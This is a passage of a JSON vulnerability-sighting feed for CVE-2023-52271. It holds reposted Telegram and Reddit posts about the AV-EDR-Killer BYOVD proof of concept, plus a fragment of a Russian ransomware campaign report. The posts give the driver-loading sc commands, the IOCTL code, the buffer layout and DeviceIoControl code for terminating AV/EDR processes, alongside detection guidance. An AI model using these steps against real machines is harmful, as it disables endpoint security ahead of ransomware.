\u0437\u0430\u0449\u0438\u0442\u044b \u043d\u0430 \u0445\u043e\u0441\u0442\u0435.\n\n\u0425\u0430\u043a\u0435\u0440 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b ABYSSWORKER, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440, \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u0439\u0441\u044f \u043f\u043e\u0434 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440 Palo Alto.\n\nBackdoor.Turn \u0431\u044b\u043b\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0430 \u0432 \u0444\u0430\u0439\u043b DbgView64.exe \u043f\u043e\u0441\u043b\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f ransomware, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u043e\u043d\u0430, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438\u043b\u0438 \u0434\u043b\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u041f\u041e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u043f\u043e\u0441\u0435\u0442\u0438\u0442\u0435\u043b\u044f Teams, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 Microsoft TURN \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f, \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0441\u0432\u044f\u0437\u044c \u0441 C2.\n\n\u0415\u0433\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434, \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0442\u0438, \u0437\u0430\u0445\u0432\u0430\u0442 TLS-\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432, \u043f\u043e\u0438\u0441\u043a \u0432 LDAP/Active Directory, \u0441\u0431\u043e\u0440 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432 \u0438 \u043a\u0440\u0430\u0436\u0443 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430.\n\n\u0417\u0430\u0432\u0435\u0440\u0448\u0438\u0432 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 \u0438 \u043e\u0431\u043e\u0439\u0434\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0437\u0430\u0449\u0438\u0442\u044b, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u043e\u0445\u0438\u0449\u0430\u0435\u0442 \u0432\u0441\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c DragonForce \u0438 \u0448\u0438\u0444\u0440\u0443\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0436\u0435\u0440\u0442\u0432\u044b.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0445\u0430\u043a\u0435\u0440\u044b, \u0441\u0442\u043e\u044f\u0449\u0438\u0435 \u0437\u0430 \u044d\u0442\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0435\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0437\u043e\u0449\u0440\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0439, \u0430 IOCs \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-07-14T00:00:43.879112Z"}, {"uuid": "53a941b1-40d7-4d48-8f3a-269adabac05f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-52271", "type": "exploited", "source": "https://t.me/CyberSecurityExploit/17205", "content": "\ud83d\udca3 AV-EDR-Killer \u2014 BYOVD Kernel Exploit via wsftprm.sys (CVE-2023-52271)\n\u2694\ufe0f Signed Driver Weaponization & Protected Process Termination\n\n\ud83d\udccc GitHub Repository\n\ud83d\udc49 https://github.com/xM0kht4r/AV-EDR-Killer\n\n\ud83d\udcd6 Description\nAV-EDR-Killer is a BYOVD-based proof-of-concept (PoC) demonstrating how a signed vulnerable driver (wsftprm.sys) can be abused to gain kernel-level capabilities and terminate protected AV/EDR processes.\nThe exploit uses IOCTL 0x22201C to pass a target process ID, allowing the driver to invoke ZwTerminateProcess and perform kernel-level process termination from user mode.\n\ud83d\udc49 Used in EDR bypass research, kernel exploitation, and Red Team post-exploitation\n\n\u26a0\ufe0f Important Note (Community Awareness)\n\ud83d\udc49 Vulnerability: CVE-2023-52271\n\u2022 signed driver (TPZ SOLUCOES DIGITAIS LTDA)\n\u2022 not consistently blocked by Microsoft driver blocklist\n\n\u26a0\ufe0f HIGH RISK \u2014 real-world attack technique\n\u2022 widely used in ransomware operations\n\u2022 disables AV/EDR before payload execution\n\n\ud83d\udc49 This is a manual PoC (NOT plug-and-play)\n\u2022 requires admin privileges\n\u2022 requires manual driver loading\n\u2022 requires building the binary\n\n\ud83d\udccc Community Note\n\ud83d\udc49 Category: BYOVD / EDR Killer PoC\n\u2022 not a framework\n\u2022 not automated\n\n\ud83d\udc49 Real-world behavior:\n\u2022 attackers first disable security controls\n\u2022 then deploy payloads\n\n\u2699\ufe0f Core Capabilities\n\ud83d\udca3 Protected Process Termination\n\u2022 kills AV / EDR processes\n\u2022 bypasses user-mode protections\n\u2022 leverages kernel execution\n\n\ud83e\uddec BYOVD Exploitation\n\u2022 loads vulnerable signed driver\n\u2022 abuses IOCTL interface\n\u2022 escalates capabilities to kernel\n\n\ud83d\udda5 Kernel-Level Execution\n\u2022 invokes ZwTerminateProcess\n\u2022 bypasses API hooks\n\u2022 operates below EDR visibility\n\n\u2699\ufe0f Exploit Flow\nRegister Driver Service\n        \u2193\nLoad wsftprm.sys\n        \u2193\nOpen Device Handle (\\\\.\\Warsaw_PM)\n        \u2193\nSend IOCTL (0x22201C)\n        \u2193\nPass Target PID\n        \u2193\nKernel Executes ZwTerminateProcess\n        \u2193\nKill AV / EDR Process\n\n\ud83e\udde0 Technical Highlights\n\u2022 CVE-2023-52271\n\u2022 IOCTL: 0x22201C\n\u2022 buffer size: 1036 bytes\n\u2022 first 4 bytes = PID (DWORD)\n\u2022 device: \\\\.\\Warsaw_PM\n\u2022 kernel API: ZwTerminateProcess\n\n\ud83e\udde0 Usage (Actual Steps)\n# 1. Register vulnerable driver (Admin required)\nsc create MalDriver binPath= C:\\path\\wsftprm.sys type= kernel\nsc start MalDriver\n\n# 2. Build PoC\ncargo build --release\n\n# 3. Execute\nAV-EDR-Killer.exe \n\n\ud83e\udde0 Driver Interaction (Concept)\nHANDLE hDevice = CreateFileW(\n    L\"\\\\\\\\.\\\\Warsaw_PM\",\n    GENERIC_READ | GENERIC_WRITE,\n    0, NULL, OPEN_EXISTING, 0, NULL\n);\n\nDeviceIoControl(\n    hDevice,\n    0x22201C,\n    buffer, // first 4 bytes = PID\n    1036,\n    NULL,\n    0,\n    &bytesReturned,\n    NULL\n);\n\n\ud83e\udde0 Workflow\nAdmin Access\n      \u2193\nLoad Vulnerable Driver\n      \u2193\nOpen Device Handle\n      \u2193\nSend Malicious IOCTL\n      \u2193\nKernel-Level Execution\n      \u2193\nTerminate Security Processes\n\n\ud83d\ude80 Why It Matters\n\u2022 demonstrates real-world BYOVD attack technique\n\u2022 highlights weakness in signed driver trust model\n\u2022 shows how EDR can be bypassed at kernel level\n\u2022 critical step in modern ransomware kill chains\n\n\ud83d\udca1 Research Value\nUseful for:\n\u2022 BYOVD exploitation research\n\u2022 kernel driver vulnerability analysis\n\u2022 EDR bypass techniques\n\u2022 Windows internals study\n\u2022 detection engineering\n\n\ud83d\udd25 Key Insight\nSigned Driver \u2192 IOCTL Abuse \u2192 Kernel Execution \u2192 Defense Kill\n\ud83d\udc49 Core concept behind modern EDR bypass attacks\n\n\u2714\ufe0f Exploit \u2714\ufe0f\n\u2714\ufe0f Scanner \u274c\n\u2714\ufe0f C2 \u274c\n\u2714\ufe0f BYOVD EDR Killer PoC \u2714\ufe0f\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:29.146046Z"}, {"uuid": "51c9fbad-82f5-40e9-8338-0ac93c6729d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-52271", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17205", "content": "\ud83d\udca3 AV-EDR-Killer \u2014 BYOVD Kernel Exploit via wsftprm.sys (CVE-2023-52271)\n\u2694\ufe0f Signed Driver Weaponization & Protected Process Termination\n\n\ud83d\udccc GitHub Repository\n\ud83d\udc49 https://github.com/xM0kht4r/AV-EDR-Killer\n\n\ud83d\udcd6 Description\nAV-EDR-Killer is a BYOVD-based proof-of-concept (PoC) demonstrating how a signed vulnerable driver (wsftprm.sys) can be abused to gain kernel-level capabilities and terminate protected AV/EDR processes.\nThe exploit uses IOCTL 0x22201C to pass a target process ID, allowing the driver to invoke ZwTerminateProcess and perform kernel-level process termination from user mode.\n\ud83d\udc49 Used in EDR bypass research, kernel exploitation, and Red Team post-exploitation\n\n\u26a0\ufe0f Important Note (Community Awareness)\n\ud83d\udc49 Vulnerability: CVE-2023-52271\n\u2022 signed driver (TPZ SOLUCOES DIGITAIS LTDA)\n\u2022 not consistently blocked by Microsoft driver blocklist\n\n\u26a0\ufe0f HIGH RISK \u2014 real-world attack technique\n\u2022 widely used in ransomware operations\n\u2022 disables AV/EDR before payload execution\n\n\ud83d\udc49 This is a manual PoC (NOT plug-and-play)\n\u2022 requires admin privileges\n\u2022 requires manual driver loading\n\u2022 requires building the binary\n\n\ud83d\udccc Community Note\n\ud83d\udc49 Category: BYOVD / EDR Killer PoC\n\u2022 not a framework\n\u2022 not automated\n\n\ud83d\udc49 Real-world behavior:\n\u2022 attackers first disable security controls\n\u2022 then deploy payloads\n\n\u2699\ufe0f Core Capabilities\n\ud83d\udca3 Protected Process Termination\n\u2022 kills AV / EDR processes\n\u2022 bypasses user-mode protections\n\u2022 leverages kernel execution\n\n\ud83e\uddec BYOVD Exploitation\n\u2022 loads vulnerable signed driver\n\u2022 abuses IOCTL interface\n\u2022 escalates capabilities to kernel\n\n\ud83d\udda5 Kernel-Level Execution\n\u2022 invokes ZwTerminateProcess\n\u2022 bypasses API hooks\n\u2022 operates below EDR visibility\n\n\u2699\ufe0f Exploit Flow\nRegister Driver Service\n        \u2193\nLoad wsftprm.sys\n        \u2193\nOpen Device Handle (\\\\.\\Warsaw_PM)\n        \u2193\nSend IOCTL (0x22201C)\n        \u2193\nPass Target PID\n        \u2193\nKernel Executes ZwTerminateProcess\n        \u2193\nKill AV / EDR Process\n\n\ud83e\udde0 Technical Highlights\n\u2022 CVE-2023-52271\n\u2022 IOCTL: 0x22201C\n\u2022 buffer size: 1036 bytes\n\u2022 first 4 bytes = PID (DWORD)\n\u2022 device: \\\\.\\Warsaw_PM\n\u2022 kernel API: ZwTerminateProcess\n\n\ud83e\udde0 Usage (Actual Steps)\n# 1. Register vulnerable driver (Admin required)\nsc create MalDriver binPath= C:\\path\\wsftprm.sys type= kernel\nsc start MalDriver\n\n# 2. Build PoC\ncargo build --release\n\n# 3. Execute\nAV-EDR-Killer.exe \n\n\ud83e\udde0 Driver Interaction (Concept)\nHANDLE hDevice = CreateFileW(\n    L\"\\\\\\\\.\\\\Warsaw_PM\",\n    GENERIC_READ | GENERIC_WRITE,\n    0, NULL, OPEN_EXISTING, 0, NULL\n);\n\nDeviceIoControl(\n    hDevice,\n    0x22201C,\n    buffer, // first 4 bytes = PID\n    1036,\n    NULL,\n    0,\n    &bytesReturned,\n    NULL\n);\n\n\ud83e\udde0 Workflow\nAdmin Access\n      \u2193\nLoad Vulnerable Driver\n      \u2193\nOpen Device Handle\n      \u2193\nSend Malicious IOCTL\n      \u2193\nKernel-Level Execution\n      \u2193\nTerminate Security Processes\n\n\ud83d\ude80 Why It Matters\n\u2022 demonstrates real-world BYOVD attack technique\n\u2022 highlights weakness in signed driver trust model\n\u2022 shows how EDR can be bypassed at kernel level\n\u2022 critical step in modern ransomware kill chains\n\n\ud83d\udca1 Research Value\nUseful for:\n\u2022 BYOVD exploitation research\n\u2022 kernel driver vulnerability analysis\n\u2022 EDR bypass techniques\n\u2022 Windows internals study\n\u2022 detection engineering\n\n\ud83d\udd25 Key Insight\nSigned Driver \u2192 IOCTL Abuse \u2192 Kernel Execution \u2192 Defense Kill\n\ud83d\udc49 Core concept behind modern EDR bypass attacks\n\n\u2714\ufe0f Exploit \u2714\ufe0f\n\u2714\ufe0f Scanner \u274c\n\u2714\ufe0f C2 \u274c\n\u2714\ufe0f BYOVD EDR Killer PoC \u2714\ufe0f\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:04.267561Z"}, {"uuid": "89c39af3-f7e1-4b46-91b9-cfe5b2cfc43f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-52271", "type": "seen", "source": "https://t.me/hacking_Attack/180093", "content": "Does killing EDR with a vulnerable driver still work in 2026?\nhttps://www.reddit.com/r/redteamsec/comments/1r9c8mp/does_killing_edr_with_a_vulnerable_driver_still/\n\nPut together a purple team breakdown using the AV-EDR-Killer (https://github.com/xM0kht4r/AV-EDR-Killer) PoC as the red team reference. The short answer is yes, and the driver being abused (wsftprm.sys, CVE-2023-52271) is still not on Microsoft's driver blocklist. \ud83d\udd34 The Attack The driver is legitimately signed by TPZ SOLUCOES DIGITAIS LTDA, so Windows loads it without complaint. Once loaded, an attacker sends a malicious IOCTL (0x22201C) with the target PID in the first 4 bytes. The driver calls ZwTerminateProcess at the kernel level. No PPL bypass needed. EDR is gone. sc create MalDriver binPath=  type= Kernel sc start MalDriver  \ud83d\udd35 Detection Event ID 4697 \u2014 Service Installed Fires when the attacker registers the driver via sc create. Filter for ServiceType: 0x1 (kernel driver) with unexpected binPath locations. This is your earliest detection opportunity \u2014 catch it before the driver ever loads. Sysmon Event ID 6 \u2014 Driver Loaded Logs ImageLoaded path, hashes, and signature info on every driver load. Hash the loaded driver and cross-reference against loldrivers.io (https://www.loldrivers.io/). A signed but known-vulnerable driver loading outside of a sanctioned software install should be an immediate alert. Long-term fix: Enforce a WDAC driver blocklist policy. Don't wait for Microsoft to add it for you. \ud83c\udfaf MITRE ATT&CK  T1562.001 \u2014 Impair Defenses: Disable or Modify Tools T1543.003 \u2014 Create or Modify System Process: Windows Service  Full video walkthrough here: https://youtu.be/q6VMly9Bs5s Covers the full attack chain and how to build detection rules around Event ID 4697 and Sysmon 6. What BYOVD detections are you running in your environment?    submitted by    /u/Infosecsamurai  (https://www.reddit.com/user/Infosecsamurai) \n [link] (https://youtu.be/q6VMly9Bs5s)   [comments] (https://www.reddit.com/r/redteamsec/comments/1r9c8mp/does_killing_edr_with_a_vulnerable_driver_still/)", "creation_timestamp": "2026-09-01T20:00:13.409311Z"}, {"uuid": "c9acfc1e-203b-410f-b041-4ddc193175a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-52271", "type": "seen", "source": "https://t.me/hacking_Attack/180093", "content": "Does killing EDR with a vulnerable driver still work in 2026?\nhttps://www.reddit.com/r/redteamsec/comments/1r9c8mp/does_killing_edr_with_a_vulnerable_driver_still/\n\nPut together a purple team breakdown using the AV-EDR-Killer (https://github.com/xM0kht4r/AV-EDR-Killer) PoC as the red team reference. The short answer is yes, and the driver being abused (wsftprm.sys, CVE-2023-52271) is still not on Microsoft's driver blocklist. \ud83d\udd34 The Attack The driver is legitimately signed by TPZ SOLUCOES DIGITAIS LTDA, so Windows loads it without complaint. Once loaded, an attacker sends a malicious IOCTL (0x22201C) with the target PID in the first 4 bytes. The driver calls ZwTerminateProcess at the kernel level. No PPL bypass needed. EDR is gone. sc create MalDriver binPath=  type= Kernel sc start MalDriver  \ud83d\udd35 Detection Event ID 4697 \u2014 Service Installed Fires when the attacker registers the driver via sc create. Filter for ServiceType: 0x1 (kernel driver) with unexpected binPath locations. This is your earliest detection opportunity \u2014 catch it before the driver ever loads. Sysmon Event ID 6 \u2014 Driver Loaded Logs ImageLoaded path, hashes, and signature info on every driver load. Hash the loaded driver and cross-reference against loldrivers.io (https://www.loldrivers.io/). A signed but known-vulnerable driver loading outside of a sanctioned software install should be an immediate alert. Long-term fix: Enforce a WDAC driver blocklist policy. Don't wait for Microsoft to add it for you. \ud83c\udfaf MITRE ATT&CK  T1562.001 \u2014 Impair Defenses: Disable or Modify Tools T1543.003 \u2014 Create or Modify System Process: Windows Service  Full video walkthrough here: https://youtu.be/q6VMly9Bs5s Covers the full attack chain and how to build detection rules around Event ID 4697 and Sysmon 6. What BYOVD detections are you running in your environment?    submitted by    /u/Infosecsamurai  (https://www.reddit.com/user/Infosecsamurai) \n [link] (https://youtu.be/q6VMly9Bs5s)   [comments] (https://www.reddit.com/r/redteamsec/comments/1r9c8mp/does_killing_edr_with_a_vulnerable_driver_still/)", "creation_timestamp": "2026-09-02T01:00:31.269155Z"}, {"uuid": "c0856507-4ad2-4004-96e7-c1d65c59ece6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-52271", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/180093", "content": "Does killing EDR with a vulnerable driver still work in 2026?\nhttps://www.reddit.com/r/redteamsec/comments/1r9c8mp/does_killing_edr_with_a_vulnerable_driver_still/\n\nPut together a purple team breakdown using the AV-EDR-Killer (https://github.com/xM0kht4r/AV-EDR-Killer) PoC as the red team reference. The short answer is yes, and the driver being abused (wsftprm.sys, CVE-2023-52271) is still not on Microsoft's driver blocklist. \ud83d\udd34 The Attack The driver is legitimately signed by TPZ SOLUCOES DIGITAIS LTDA, so Windows loads it without complaint. Once loaded, an attacker sends a malicious IOCTL (0x22201C) with the target PID in the first 4 bytes. The driver calls ZwTerminateProcess at the kernel level. No PPL bypass needed. EDR is gone. sc create MalDriver binPath=  type= Kernel sc start MalDriver  \ud83d\udd35 Detection Event ID 4697 \u2014 Service Installed Fires when the attacker registers the driver via sc create. Filter for ServiceType: 0x1 (kernel driver) with unexpected binPath locations. This is your earliest detection opportunity \u2014 catch it before the driver ever loads. Sysmon Event ID 6 \u2014 Driver Loaded Logs ImageLoaded path, hashes, and signature info on every driver load. Hash the loaded driver and cross-reference against loldrivers.io (https://www.loldrivers.io/). A signed but known-vulnerable driver loading outside of a sanctioned software install should be an immediate alert. Long-term fix: Enforce a WDAC driver blocklist policy. Don't wait for Microsoft to add it for you. \ud83c\udfaf MITRE ATT&CK  T1562.001 \u2014 Impair Defenses: Disable or Modify Tools T1543.003 \u2014 Create or Modify System Process: Windows Service  Full video walkthrough here: https://youtu.be/q6VMly9Bs5s Covers the full attack chain and how to build detection rules around Event ID 4697 and Sysmon 6. What BYOVD detections are you running in your environment?    submitted by    /u/Infosecsamurai  (https://www.reddit.com/user/Infosecsamurai) \n [link] (https://youtu.be/q6VMly9Bs5s)   [comments] (https://www.reddit.com/r/redteamsec/comments/1r9c8mp/does_killing_edr_with_a_vulnerable_driver_still/)", "creation_timestamp": "2026-09-03T01:00:04.466128Z"}, {"uuid": "a6201f6f-524d-44bb-885c-6d77554ba458", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-52271", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/180093", "content": "Does killing EDR with a vulnerable driver still work in 2026?\nhttps://www.reddit.com/r/redteamsec/comments/1r9c8mp/does_killing_edr_with_a_vulnerable_driver_still/\n\nPut together a purple team breakdown using the AV-EDR-Killer (https://github.com/xM0kht4r/AV-EDR-Killer) PoC as the red team reference. The short answer is yes, and the driver being abused (wsftprm.sys, CVE-2023-52271) is still not on Microsoft's driver blocklist. \ud83d\udd34 The Attack The driver is legitimately signed by TPZ SOLUCOES DIGITAIS LTDA, so Windows loads it without complaint. Once loaded, an attacker sends a malicious IOCTL (0x22201C) with the target PID in the first 4 bytes. The driver calls ZwTerminateProcess at the kernel level. No PPL bypass needed. EDR is gone. sc create MalDriver binPath=  type= Kernel sc start MalDriver  \ud83d\udd35 Detection Event ID 4697 \u2014 Service Installed Fires when the attacker registers the driver via sc create. Filter for ServiceType: 0x1 (kernel driver) with unexpected binPath locations. This is your earliest detection opportunity \u2014 catch it before the driver ever loads. Sysmon Event ID 6 \u2014 Driver Loaded Logs ImageLoaded path, hashes, and signature info on every driver load. Hash the loaded driver and cross-reference against loldrivers.io (https://www.loldrivers.io/). A signed but known-vulnerable driver loading outside of a sanctioned software install should be an immediate alert. Long-term fix: Enforce a WDAC driver blocklist policy. Don't wait for Microsoft to add it for you. \ud83c\udfaf MITRE ATT&CK  T1562.001 \u2014 Impair Defenses: Disable or Modify Tools T1543.003 \u2014 Create or Modify System Process: Windows Service  Full video walkthrough here: https://youtu.be/q6VMly9Bs5s Covers the full attack chain and how to build detection rules around Event ID 4697 and Sysmon 6. What BYOVD detections are you running in your environment?    submitted by    /u/Infosecsamurai  (https://www.reddit.com/user/Infosecsamurai) \n [link] (https://youtu.be/q6VMly9Bs5s)   [comments] (https://www.reddit.com/r/redteamsec/comments/1r9c8mp/does_killing_edr_with_a_vulnerable_driver_still/)", "creation_timestamp": "2026-09-04T00:01:06.956340Z"}]}